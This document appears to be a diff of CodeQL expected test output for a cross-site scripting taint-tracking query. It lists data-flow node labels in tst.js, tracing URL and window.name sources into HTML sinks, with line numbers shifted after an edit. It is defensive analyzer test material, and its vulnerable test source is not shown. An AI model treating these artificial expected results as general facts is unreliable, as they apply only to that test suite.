-| tst.js:40:20:40:43 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:42:15:42:15 | s | semmle.label | s |
-| tst.js:42:15:42:15 | s | semmle.label | s |
-| tst.js:43:10:43:31 | "<div>" ... </div>" | semmle.label | "<div>" ... </div>" |
-| tst.js:43:20:43:20 | s | semmle.label | s |
-| tst.js:43:20:43:20 | s | semmle.label | s |
-| tst.js:46:16:46:45 | wrap(do ... search) | semmle.label | wrap(do ... search) |
+| tst.js:4:18:4:23 | target | semmle.label | target |
+| tst.js:6:18:6:126 | "<OPTIO ... PTION>" | semmle.label | "<OPTIO ... PTION>" |
+| tst.js:6:37:6:58 | documen ... on.href | semmle.label | documen ... on.href |
+| tst.js:6:37:6:114 | documen ... t=")+8) | semmle.label | documen ... t=")+8) |
+| tst.js:6:37:6:114 | documen ... t=")+8) | semmle.label | documen ... t=")+8) |
+| tst.js:9:5:9:42 | '<div s ...  'px">' | semmle.label | '<div s ...  'px">' |
+| tst.js:9:28:9:33 | target | semmle.label | target |
+| tst.js:14:7:14:56 | params | semmle.label | params |
+| tst.js:14:7:14:56 | params [MapValue] | semmle.label | params [MapValue] |
+| tst.js:14:16:14:43 | (new UR ... ation)) [searchParams, MapValue] | semmle.label | (new UR ... ation)) [searchParams, MapValue] |
+| tst.js:14:16:14:43 | (new UR ... ation)) [searchParams] | semmle.label | (new UR ... ation)) [searchParams] |
+| tst.js:14:16:14:56 | (new UR ... hParams | semmle.label | (new UR ... hParams |
+| tst.js:14:16:14:56 | (new UR ... hParams [MapValue] | semmle.label | (new UR ... hParams [MapValue] |
+| tst.js:14:17:14:42 | new URL ... cation) [searchParams, MapValue] | semmle.label | new URL ... cation) [searchParams, MapValue] |
+| tst.js:14:17:14:42 | new URL ... cation) [searchParams] | semmle.label | new URL ... cation) [searchParams] |
+| tst.js:14:25:14:41 | document.location | semmle.label | document.location |
+| tst.js:15:18:15:23 | params | semmle.label | params |
+| tst.js:15:18:15:23 | params [MapValue] | semmle.label | params [MapValue] |
+| tst.js:15:18:15:35 | params.get('name') | semmle.label | params.get('name') |
+| tst.js:17:7:17:61 | searchParams | semmle.label | searchParams |
+| tst.js:17:7:17:61 | searchParams [MapValue] | semmle.label | searchParams [MapValue] |
+| tst.js:17:22:17:61 | new URL ... ing(1)) | semmle.label | new URL ... ing(1)) |
+| tst.js:17:22:17:61 | new URL ... ing(1)) [MapValue] | semmle.label | new URL ... ing(1)) [MapValue] |
+| tst.js:17:42:17:47 | target | semmle.label | target |
+| tst.js:17:42:17:60 | target.substring(1) | semmle.label | target.substring(1) |
+| tst.js:17:42:17:60 | target.substring(1) | semmle.label | target.substring(1) |
+| tst.js:17:42:17:60 | target.substring(1) | semmle.label | target.substring(1) |
+| tst.js:18:18:18:29 | searchParams | semmle.label | searchParams |
+| tst.js:18:18:18:29 | searchParams [MapValue] | semmle.label | searchParams [MapValue] |
+| tst.js:18:18:18:41 | searchP ... 'name') | semmle.label | searchP ... 'name') |
+| tst.js:21:14:21:19 | target | semmle.label | target |
+| tst.js:22:18:22:23 | target | semmle.label | target |
+| tst.js:24:5:24:28 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:27:10:27:33 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:29:16:29:20 | bar() | semmle.label | bar() |
+| tst.js:31:14:31:14 | x | semmle.label | x |
+| tst.js:32:10:32:10 | x | semmle.label | x |
+| tst.js:34:16:34:44 | baz(doc ... search) | semmle.label | baz(doc ... search) |
+| tst.js:34:20:34:43 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:36:15:36:15 | s | semmle.label | s |
+| tst.js:36:15:36:15 | s | semmle.label | s |
+| tst.js:37:10:37:31 | "<div>" ... </div>" | semmle.label | "<div>" ... </div>" |
+| tst.js:37:20:37:20 | s | semmle.label | s |
+| tst.js:37:20:37:20 | s | semmle.label | s |
+| tst.js:39:16:39:45 | wrap(do ... search) | semmle.label | wrap(do ... search) |
+| tst.js:39:21:39:44 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:41:15:41:15 | s | semmle.label | s |
+| tst.js:43:12:43:12 | s | semmle.label | s |
+| tst.js:43:12:43:22 | s.substr(1) | semmle.label | s.substr(1) |
+| tst.js:43:12:43:22 | s.substr(1) | semmle.label | s.substr(1) |
+| tst.js:43:12:43:22 | s.substr(1) | semmle.label | s.substr(1) |
+| tst.js:46:16:46:45 | chop(do ... search) | semmle.label | chop(do ... search) |
 | tst.js:46:21:46:44 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:48:15:48:15 | s | semmle.label | s |
-| tst.js:50:12:50:12 | s | semmle.label | s |
-| tst.js:50:12:50:22 | s.substr(1) | semmle.label | s.substr(1) |
-| tst.js:50:12:50:22 | s.substr(1) | semmle.label | s.substr(1) |
-| tst.js:50:12:50:22 | s.substr(1) | semmle.label | s.substr(1) |
-| tst.js:54:16:54:45 | chop(do ... search) | semmle.label | chop(do ... search) |
-| tst.js:54:21:54:44 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:56:16:56:45 | chop(do ... search) | semmle.label | chop(do ... search) |
-| tst.js:56:21:56:44 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:58:16:58:32 | wrap(chop(bar())) | semmle.label | wrap(chop(bar())) |
-| tst.js:58:21:58:31 | chop(bar()) | semmle.label | chop(bar()) |
-| tst.js:58:21:58:31 | chop(bar()) | semmle.label | chop(bar()) |
-| tst.js:58:26:58:30 | bar() | semmle.label | bar() |
-| tst.js:60:34:60:34 | s | semmle.label | s |
-| tst.js:62:18:62:18 | s | semmle.label | s |
-| tst.js:64:25:64:48 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:65:25:65:48 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:68:16:68:20 | bar() | semmle.label | bar() |
-| tst.js:70:1:70:27 | [,docum ... search] [1] | semmle.label | [,docum ... search] [1] |
-| tst.js:70:3:70:26 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:70:46:70:46 | x | semmle.label | x |
-| tst.js:73:20:73:20 | x | semmle.label | x |
-| tst.js:77:49:77:72 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:81:26:81:49 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:82:25:82:48 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:84:33:84:56 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:85:32:85:55 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:90:39:90:62 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:96:30:96:53 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:102:25:102:48 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:107:7:107:44 | v | semmle.label | v |
-| tst.js:107:11:107:34 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:107:11:107:44 | documen ... bstr(1) | semmle.label | documen ... bstr(1) |
-| tst.js:110:18:110:18 | v | semmle.label | v |
-| tst.js:136:18:136:18 | v | semmle.label | v |
-| tst.js:148:29:148:50 | window. ... .search | semmle.label | window. ... .search |
-| tst.js:151:29:151:29 | v | semmle.label | v |
-| tst.js:151:49:151:49 | v | semmle.label | v |
-| tst.js:155:29:155:46 | xssSourceService() | semmle.label | xssSourceService() |
-| tst.js:158:40:158:61 | window. ... .search | semmle.label | window. ... .search |
-| tst.js:177:9:177:41 | target | semmle.label | target |
-| tst.js:177:18:177:41 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:180:28:180:33 | target | semmle.label | target |
-| tst.js:184:9:184:42 | tainted | semmle.label | tainted |
-| tst.js:184:19:184:42 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:186:31:186:37 | tainted | semmle.label | tainted |
-| tst.js:188:42:188:48 | tainted | semmle.label | tainted |
-| tst.js:189:33:189:39 | tainted | semmle.label | tainted |
-| tst.js:191:54:191:60 | tainted | semmle.label | tainted |
-| tst.js:192:45:192:51 | tainted | semmle.label | tainted |
-| tst.js:193:49:193:55 | tainted | semmle.label | tainted |
-| tst.js:197:9:197:42 | tainted | semmle.label | tainted |
-| tst.js:197:19:197:42 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:199:67:199:73 | tainted | semmle.label | tainted |
-| tst.js:200:67:200:73 | tainted | semmle.label | tainted |
-| tst.js:204:35:204:41 | tainted | semmle.label | tainted |
-| tst.js:206:46:206:52 | tainted | semmle.label | tainted |
-| tst.js:207:38:207:44 | tainted | semmle.label | tainted |
-| tst.js:208:35:208:41 | tainted | semmle.label | tainted |
-| tst.js:212:28:212:46 | this.state.tainted1 | semmle.label | this.state.tainted1 |
-| tst.js:213:28:213:46 | this.state.tainted2 | semmle.label | this.state.tainted2 |
-| tst.js:214:28:214:46 | this.state.tainted3 | semmle.label | this.state.tainted3 |
-| tst.js:218:32:218:49 | prevState.tainted4 | semmle.label | prevState.tainted4 |
-| tst.js:225:28:225:46 | this.props.tainted1 | semmle.label | this.props.tainted1 |
-| tst.js:226:28:226:46 | this.props.tainted2 | semmle.label | this.props.tainted2 |
-| tst.js:227:28:227:46 | this.props.tainted3 | semmle.label | this.props.tainted3 |
-| tst.js:231:32:231:49 | prevProps.tainted4 | semmle.label | prevProps.tainted4 |
-| tst.js:236:35:236:41 | tainted | semmle.label | tainted |
-| tst.js:238:20:238:26 | tainted | semmle.label | tainted |
-| tst.js:240:23:240:29 | tainted | semmle.label | tainted |
-| tst.js:241:23:241:29 | tainted | semmle.label | tainted |
-| tst.js:247:39:247:55 | props.propTainted | semmle.label | props.propTainted |
-| tst.js:251:60:251:82 | this.st ... Tainted | semmle.label | this.st ... Tainted |
-| tst.js:255:23:255:29 | tainted | semmle.label | tainted |
-| tst.js:259:7:259:17 | window.name | semmle.label | window.name |
-| tst.js:260:7:260:10 | name | semmle.label | name |
-| tst.js:264:11:264:21 | window.name | semmle.label | window.name |
-| tst.js:280:22:280:29 | location | semmle.label | location |
-| tst.js:285:9:285:29 | tainted | semmle.label | tainted |
-| tst.js:285:19:285:29 | window.name | semmle.label | window.name |
-| tst.js:288:59:288:65 | tainted | semmle.label | tainted |
-| tst.js:301:9:301:16 | location | semmle.label | location |
-| tst.js:302:10:302:10 | e | semmle.label | e |
-| tst.js:303:20:303:20 | e | semmle.label | e |
-| tst.js:308:10:308:17 | location | semmle.label | location |
-| tst.js:310:10:310:10 | e | semmle.label | e |
-| tst.js:311:20:311:20 | e | semmle.label | e |
-| tst.js:316:35:316:42 | location | semmle.label | location |
-| tst.js:327:10:327:35 | new URL ... cation) [searchParams, MapValue] | semmle.label | new URL ... cation) [searchParams, MapValue] |
-| tst.js:327:10:327:35 | new URL ... cation) [searchParams] | semmle.label | new URL ... cation) [searchParams] |
-| tst.js:327:18:327:34 | document.location | semmle.label | document.location |
-| tst.js:331:7:331:43 | params | semmle.label | params |
-| tst.js:331:7:331:43 | params [MapValue] | semmle.label | params [MapValue] |
-| tst.js:331:16:331:30 | getTaintedUrl() [searchParams, MapValue] | semmle.label | getTaintedUrl() [searchParams, MapValue] |
-| tst.js:331:16:331:30 | getTaintedUrl() [searchParams] | semmle.label | getTaintedUrl() [searchParams] |
-| tst.js:331:16:331:43 | getTain ... hParams | semmle.label | getTain ... hParams |
-| tst.js:331:16:331:43 | getTain ... hParams [MapValue] | semmle.label | getTain ... hParams [MapValue] |
-| tst.js:332:18:332:23 | params | semmle.label | params |
-| tst.js:332:18:332:23 | params [MapValue] | semmle.label | params [MapValue] |
-| tst.js:332:18:332:35 | params.get('name') | semmle.label | params.get('name') |
-| tst.js:341:12:341:37 | new URL ... cation) [hash] | semmle.label | new URL ... cation) [hash] |
-| tst.js:341:20:341:36 | document.location | semmle.label | document.location |
-| tst.js:343:5:343:12 | getUrl() [hash] | semmle.label | getUrl() [hash] |
-| tst.js:343:5:343:17 | getUrl().hash | semmle.label | getUrl().hash |
-| tst.js:343:5:343:30 | getUrl( ... ring(1) | semmle.label | getUrl( ... ring(1) |
-| tst.js:348:7:348:39 | target | semmle.label | target |
-| tst.js:348:16:348:39 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:349:12:349:17 | target | semmle.label | target |
-| tst.js:355:10:355:42 | target | semmle.label | target |
-| tst.js:355:19:355:42 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:356:16:356:21 | target | semmle.label | target |
-| tst.js:357:20:357:25 | target | semmle.label | target |
-| tst.js:360:21:360:26 | target | semmle.label | target |
-| tst.js:363:18:363:23 | target | semmle.label | target |
-| tst.js:371:7:371:39 | target | semmle.label | target |
-| tst.js:371:16:371:39 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:374:18:374:23 | target | semmle.label | target |
-| tst.js:381:7:381:39 | target | semmle.label | target |
-| tst.js:381:16:381:39 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:384:18:384:23 | target | semmle.label | target |
-| tst.js:386:18:386:23 | target | semmle.label | target |
-| tst.js:386:18:386:29 | target.taint | semmle.label | target.taint |
-| tst.js:391:3:391:8 | [post update] target [taint3] | semmle.label | [post update] target [taint3] |
-| tst.js:391:19:391:42 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:392:18:392:23 | target [taint3] | semmle.label | target [taint3] |
-| tst.js:392:18:392:30 | target.taint3 | semmle.label | target.taint3 |
-| tst.js:397:18:397:23 | target | semmle.label | target |
-| tst.js:397:18:397:30 | target.taint5 | semmle.label | target.taint5 |
-| tst.js:406:18:406:23 | target | semmle.label | target |
-| tst.js:406:18:406:30 | target.taint7 | semmle.label | target.taint7 |
-| tst.js:408:3:408:8 | [post update] target [taint8] | semmle.label | [post update] target [taint8] |
-| tst.js:408:19:408:24 | target | semmle.label | target |
-| tst.js:408:19:408:24 | target [taint8] | semmle.label | target [taint8] |
-| tst.js:408:19:408:31 | target.taint8 | semmle.label | target.taint8 |
-| tst.js:409:18:409:23 | target [taint8] | semmle.label | target [taint8] |
-| tst.js:409:18:409:30 | target.taint8 | semmle.label | target.taint8 |
-| tst.js:416:7:416:46 | payload | semmle.label | payload |
-| tst.js:416:17:416:36 | window.location.hash | semmle.label | window.location.hash |
-| tst.js:416:17:416:46 | window. ... bstr(1) | semmle.label | window. ... bstr(1) |
-| tst.js:417:18:417:24 | payload | semmle.label | payload |
-| tst.js:419:7:419:55 | match | semmle.label | match |
-| tst.js:419:15:419:34 | window.location.hash | semmle.label | window.location.hash |
-| tst.js:419:15:419:55 | window. ... (\\w+)/) | semmle.label | window. ... (\\w+)/) |
-| tst.js:421:20:421:24 | match | semmle.label | match |
-| tst.js:421:20:421:27 | match[1] | semmle.label | match[1] |
-| tst.js:424:18:424:37 | window.location.hash | semmle.label | window.location.hash |
-| tst.js:424:18:424:48 | window. ... it('#') [1] | semmle.label | window. ... it('#') [1] |
-| tst.js:424:18:424:51 | window. ... '#')[1] | semmle.label | window. ... '#')[1] |
-| tst.js:428:7:428:39 | target | semmle.label | target |
-| tst.js:428:16:428:39 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:430:18:430:23 | target | semmle.label | target |
-| tst.js:430:18:430:89 | target. ... data>') | semmle.label | target. ... data>') |
-| tst.js:436:6:436:38 | source | semmle.label | source |
-| tst.js:436:15:436:38 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:440:28:440:33 | source | semmle.label | source |
-| tst.js:441:33:441:38 | source | semmle.label | source |
-| tst.js:442:34:442:39 | source | semmle.label | source |
-| tst.js:443:41:443:46 | source | semmle.label | source |
-| tst.js:444:44:444:49 | source | semmle.label | source |
-| tst.js:445:32:445:37 | source | semmle.label | source |
-| tst.js:453:7:453:39 | source | semmle.label | source |
-| tst.js:453:16:453:39 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:455:18:455:23 | source | semmle.label | source |
-| tst.js:456:18:456:42 | ansiToH ... source) | semmle.label | ansiToH ... source) |
-| tst.js:456:36:456:41 | source | semmle.label | source |
-| tst.js:460:6:460:38 | source | semmle.label | source |
-| tst.js:460:15:460:38 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:463:21:463:26 | source | semmle.label | source |
-| tst.js:465:19:465:24 | source | semmle.label | source |
-| tst.js:467:20:467:25 | source | semmle.label | source |
-| tst.js:471:7:471:46 | url | semmle.label | url |
-| tst.js:471:13:471:36 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:471:13:471:46 | documen ... bstr(1) | semmle.label | documen ... bstr(1) |
-| tst.js:473:19:473:21 | url | semmle.label | url |
-| tst.js:474:26:474:28 | url | semmle.label | url |
-| tst.js:475:25:475:27 | url | semmle.label | url |
-| tst.js:476:20:476:22 | url | semmle.label | url |
-| tst.js:486:22:486:24 | url | semmle.label | url |
-| tst.js:491:23:491:35 | location.hash | semmle.label | location.hash |
-| tst.js:491:23:491:45 | locatio ... bstr(1) | semmle.label | locatio ... bstr(1) |
-| tst.js:494:18:494:30 | location.hash | semmle.label | location.hash |
-| tst.js:494:18:494:40 | locatio ... bstr(1) | semmle.label | locatio ... bstr(1) |
-| tst.js:501:33:501:63 | decodeU ... n.hash) | semmle.label | decodeU ... n.hash) |
-| tst.js:501:43:501:62 | window.location.hash | semmle.label | window.location.hash |
-| tst.js:508:7:508:39 | target | semmle.label | target |
-| tst.js:508:16:508:39 | documen ... .search | semmle.label | documen ... .search |
-| tst.js:509:18:509:23 | target | semmle.label | target |
-| tst.js:509:18:509:54 | target. ... "), '') | semmle.label | target. ... "), '') |
+| tst.js:47:16:47:45 | chop(do ... search) | semmle.label | chop(do ... search) |
+| tst.js:47:21:47:44 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:48:16:48:32 | wrap(chop(bar())) | semmle.label | wrap(chop(bar())) |
+| tst.js:48:21:48:31 | chop(bar()) | semmle.label | chop(bar()) |
+| tst.js:48:21:48:31 | chop(bar()) | semmle.label | chop(bar()) |
+| tst.js:48:26:48:30 | bar() | semmle.label | bar() |
+| tst.js:50:34:50:34 | s | semmle.label | s |
+| tst.js:51:18:51:18 | s | semmle.label | s |
+| tst.js:53:25:53:48 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:54:25:54:48 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:56:16:56:20 | bar() | semmle.label | bar() |
+| tst.js:58:1:58:27 | [,docum ... search] [1] | semmle.label | [,docum ... search] [1] |
+| tst.js:58:3:58:26 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:58:46:58:46 | x | semmle.label | x |
+| tst.js:60:20:60:20 | x | semmle.label | x |
+| tst.js:63:49:63:72 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:67:26:67:49 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:68:25:68:48 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:70:33:70:56 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:71:32:71:55 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:76:39:76:62 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:82:30:82:53 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:88:25:88:48 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:93:7:93:44 | v | semmle.label | v |
+| tst.js:93:11:93:34 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:93:11:93:44 | documen ... bstr(1) | semmle.label | documen ... bstr(1) |
+| tst.js:95:18:95:18 | v | semmle.label | v |
+| tst.js:120:18:120:18 | v | semmle.label | v |
+| tst.js:132:29:132:50 | window. ... .search | semmle.label | window. ... .search |
+| tst.js:135:29:135:29 | v | semmle.label | v |
+| tst.js:135:49:135:49 | v | semmle.label | v |
+| tst.js:139:29:139:46 | xssSourceService() | semmle.label | xssSourceService() |
+| tst.js:142:40:142:61 | window. ... .search | semmle.label | window. ... .search |
+| tst.js:161:9:161:41 | target | semmle.label | target |
+| tst.js:161:18:161:41 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:164:28:164:33 | target | semmle.label | target |
+| tst.js:168:9:168:42 | tainted | semmle.label | tainted |
+| tst.js:168:19:168:42 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:170:31:170:37 | tainted | semmle.label | tainted |
+| tst.js:172:42:172:48 | tainted | semmle.label | tainted |
+| tst.js:173:33:173:39 | tainted | semmle.label | tainted |
+| tst.js:175:54:175:60 | tainted | semmle.label | tainted |
+| tst.js:176:45:176:51 | tainted | semmle.label | tainted |
+| tst.js:177:49:177:55 | tainted | semmle.label | tainted |
+| tst.js:181:9:181:42 | tainted | semmle.label | tainted |
+| tst.js:181:19:181:42 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:183:67:183:73 | tainted | semmle.label | tainted |
+| tst.js:184:67:184:73 | tainted | semmle.label | tainted |
+| tst.js:188:35:188:41 | tainted | semmle.label | tainted |
+| tst.js:190:46:190:52 | tainted | semmle.label | tainted |
+| tst.js:191:38:191:44 | tainted | semmle.label | tainted |
+| tst.js:192:35:192:41 | tainted | semmle.label | tainted |
+| tst.js:196:28:196:46 | this.state.tainted1 | semmle.label | this.state.tainted1 |
+| tst.js:197:28:197:46 | this.state.tainted2 | semmle.label | this.state.tainted2 |
+| tst.js:198:28:198:46 | this.state.tainted3 | semmle.label | this.state.tainted3 |
+| tst.js:202:32:202:49 | prevState.tainted4 | semmle.label | prevState.tainted4 |
+| tst.js:209:28:209:46 | this.props.tainted1 | semmle.label | this.props.tainted1 |
+| tst.js:210:28:210:46 | this.props.tainted2 | semmle.label | this.props.tainted2 |
+| tst.js:211:28:211:46 | this.props.tainted3 | semmle.label | this.props.tainted3 |
+| tst.js:215:32:215:49 | prevProps.tainted4 | semmle.label | prevProps.tainted4 |
+| tst.js:220:35:220:41 | tainted | semmle.label | tainted |
+| tst.js:222:20:222:26 | tainted | semmle.label | tainted |
+| tst.js:224:23:224:29 | tainted | semmle.label | tainted |
+| tst.js:225:23:225:29 | tainted | semmle.label | tainted |
+| tst.js:231:39:231:55 | props.propTainted | semmle.label | props.propTainted |
+| tst.js:235:60:235:82 | this.st ... Tainted | semmle.label | this.st ... Tainted |
+| tst.js:239:23:239:29 | tainted | semmle.label | tainted |
+| tst.js:243:7:243:17 | window.name | semmle.label | window.name |
+| tst.js:244:7:244:10 | name | semmle.label | name |
+| tst.js:248:11:248:21 | window.name | semmle.label | window.name |
+| tst.js:264:22:264:29 | location | semmle.label | location |
+| tst.js:269:9:269:29 | tainted | semmle.label | tainted |
+| tst.js:269:19:269:29 | window.name | semmle.label | window.name |
+| tst.js:272:59:272:65 | tainted | semmle.label | tainted |
+| tst.js:285:9:285:16 | location | semmle.label | location |
+| tst.js:286:10:286:10 | e | semmle.label | e |
+| tst.js:287:20:287:20 | e | semmle.label | e |
+| tst.js:292:10:292:17 | location | semmle.label | location |
+| tst.js:294:10:294:10 | e | semmle.label | e |
+| tst.js:295:20:295:20 | e | semmle.label | e |
+| tst.js:300:35:300:42 | location | semmle.label | location |
+| tst.js:311:10:311:35 | new URL ... cation) [searchParams, MapValue] | semmle.label | new URL ... cation) [searchParams, MapValue] |
+| tst.js:311:10:311:35 | new URL ... cation) [searchParams] | semmle.label | new URL ... cation) [searchParams] |
+| tst.js:311:18:311:34 | document.location | semmle.label | document.location |
+| tst.js:315:7:315:43 | params | semmle.label | params |
+| tst.js:315:7:315:43 | params [MapValue] | semmle.label | params [MapValue] |
+| tst.js:315:16:315:30 | getTaintedUrl() [searchParams, MapValue] | semmle.label | getTaintedUrl() [searchParams, MapValue] |
+| tst.js:315:16:315:30 | getTaintedUrl() [searchParams] | semmle.label | getTaintedUrl() [searchParams] |
+| tst.js:315:16:315:43 | getTain ... hParams | semmle.label | getTain ... hParams |
+| tst.js:315:16:315:43 | getTain ... hParams [MapValue] | semmle.label | getTain ... hParams [MapValue] |
+| tst.js:316:18:316:23 | params | semmle.label | params |
+| tst.js:316:18:316:23 | params [MapValue] | semmle.label | params [MapValue] |
+| tst.js:316:18:316:35 | params.get('name') | semmle.label | params.get('name') |
+| tst.js:325:12:325:37 | new URL ... cation) [hash] | semmle.label | new URL ... cation) [hash] |
+| tst.js:325:20:325:36 | document.location | semmle.label | document.location |
+| tst.js:327:5:327:12 | getUrl() [hash] | semmle.label | getUrl() [hash] |
+| tst.js:327:5:327:17 | getUrl().hash | semmle.label | getUrl().hash |
+| tst.js:327:5:327:30 | getUrl( ... ring(1) | semmle.label | getUrl( ... ring(1) |
+| tst.js:332:7:332:39 | target | semmle.label | target |
+| tst.js:332:16:332:39 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:333:12:333:17 | target | semmle.label | target |
+| tst.js:339:10:339:42 | target | semmle.label | target |
+| tst.js:339:19:339:42 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:340:16:340:21 | target | semmle.label | target |
+| tst.js:341:20:341:25 | target | semmle.label | target |
+| tst.js:344:21:344:26 | target | semmle.label | target |
+| tst.js:347:18:347:23 | target | semmle.label | target |
+| tst.js:355:7:355:39 | target | semmle.label | target |
+| tst.js:355:16:355:39 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:357:18:357:23 | target | semmle.label | target |
+| tst.js:364:7:364:39 | target | semmle.label | target |
+| tst.js:364:16:364:39 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:367:18:367:23 | target | semmle.label | target |
+| tst.js:369:18:369:23 | target | semmle.label | target |
+| tst.js:369:18:369:29 | target.taint | semmle.label | target.taint |
+| tst.js:374:3:374:8 | [post update] target [taint3] | semmle.label | [post update] target [taint3] |
+| tst.js:374:19:374:42 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:375:18:375:23 | target [taint3] | semmle.label | target [taint3] |
+| tst.js:375:18:375:30 | target.taint3 | semmle.label | target.taint3 |
+| tst.js:380:18:380:23 | target | semmle.label | target |
+| tst.js:380:18:380:30 | target.taint5 | semmle.label | target.taint5 |
+| tst.js:389:18:389:23 | target | semmle.label | target |
+| tst.js:389:18:389:30 | target.taint7 | semmle.label | target.taint7 |
+| tst.js:391:3:391:8 | [post update] target [taint8] | semmle.label | [post update] target [taint8] |
+| tst.js:391:19:391:24 | target | semmle.label | target |
+| tst.js:391:19:391:24 | target [taint8] | semmle.label | target [taint8] |
+| tst.js:391:19:391:31 | target.taint8 | semmle.label | target.taint8 |
+| tst.js:392:18:392:23 | target [taint8] | semmle.label | target [taint8] |
+| tst.js:392:18:392:30 | target.taint8 | semmle.label | target.taint8 |
+| tst.js:399:7:399:46 | payload | semmle.label | payload |
+| tst.js:399:17:399:36 | window.location.hash | semmle.label | window.location.hash |
+| tst.js:399:17:399:46 | window. ... bstr(1) | semmle.label | window. ... bstr(1) |
+| tst.js:400:18:400:24 | payload | semmle.label | payload |
+| tst.js:402:7:402:55 | match | semmle.label | match |
+| tst.js:402:15:402:34 | window.location.hash | semmle.label | window.location.hash |
+| tst.js:402:15:402:55 | window. ... (\\w+)/) | semmle.label | window. ... (\\w+)/) |
+| tst.js:404:20:404:24 | match | semmle.label | match |
+| tst.js:404:20:404:27 | match[1] | semmle.label | match[1] |
+| tst.js:407:18:407:37 | window.location.hash | semmle.label | window.location.hash |
+| tst.js:407:18:407:48 | window. ... it('#') [1] | semmle.label | window. ... it('#') [1] |
+| tst.js:407:18:407:51 | window. ... '#')[1] | semmle.label | window. ... '#')[1] |
+| tst.js:411:7:411:39 | target | semmle.label | target |
+| tst.js:411:16:411:39 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:413:18:413:23 | target | semmle.label | target |
+| tst.js:413:18:413:89 | target. ... data>') | semmle.label | target. ... data>') |
+| tst.js:419:6:419:38 | source | semmle.label | source |
+| tst.js:419:15:419:38 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:423:28:423:33 | source | semmle.label | source |
+| tst.js:424:33:424:38 | source | semmle.label | source |
+| tst.js:425:34:425:39 | source | semmle.label | source |
+| tst.js:426:41:426:46 | source | semmle.label | source |
+| tst.js:427:44:427:49 | source | semmle.label | source |
+| tst.js:428:32:428:37 | source | semmle.label | source |
+| tst.js:436:7:436:39 | source | semmle.label | source |
+| tst.js:436:16:436:39 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:438:18:438:23 | source | semmle.label | source |
+| tst.js:439:18:439:42 | ansiToH ... source) | semmle.label | ansiToH ... source) |
+| tst.js:439:36:439:41 | source | semmle.label | source |
+| tst.js:443:6:443:38 | source | semmle.label | source |
+| tst.js:443:15:443:38 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:446:21:446:26 | source | semmle.label | source |
+| tst.js:448:19:448:24 | source | semmle.label | source |
+| tst.js:450:20:450:25 | source | semmle.label | source |
+| tst.js:454:7:454:46 | url | semmle.label | url |
+| tst.js:454:13:454:36 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:454:13:454:46 | documen ... bstr(1) | semmle.label | documen ... bstr(1) |
+| tst.js:456:19:456:21 | url | semmle.label | url |
+| tst.js:457:26:457:28 | url | semmle.label | url |
+| tst.js:458:25:458:27 | url | semmle.label | url |
+| tst.js:459:20:459:22 | url | semmle.label | url |
+| tst.js:469:22:469:24 | url | semmle.label | url |
+| tst.js:474:23:474:35 | location.hash | semmle.label | location.hash |
+| tst.js:474:23:474:45 | locatio ... bstr(1) | semmle.label | locatio ... bstr(1) |
+| tst.js:477:18:477:30 | location.hash | semmle.label | location.hash |
+| tst.js:477:18:477:40 | locatio ... bstr(1) | semmle.label | locatio ... bstr(1) |
+| tst.js:484:33:484:63 | decodeU ... n.hash) | semmle.label | decodeU ... n.hash) |
+| tst.js:484:43:484:62 | window.location.hash | semmle.label | window.location.hash |
+| tst.js:491:7:491:39 | target | semmle.label | target |
+| tst.js:491:16:491:39 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:492:18:492:23 | target | semmle.label | target |
+| tst.js:492:18:492:54 | target. ... "), '') | semmle.label | target. ... "), '') |
+| tst.js:498:7:498:26 | source | semmle.label | source |
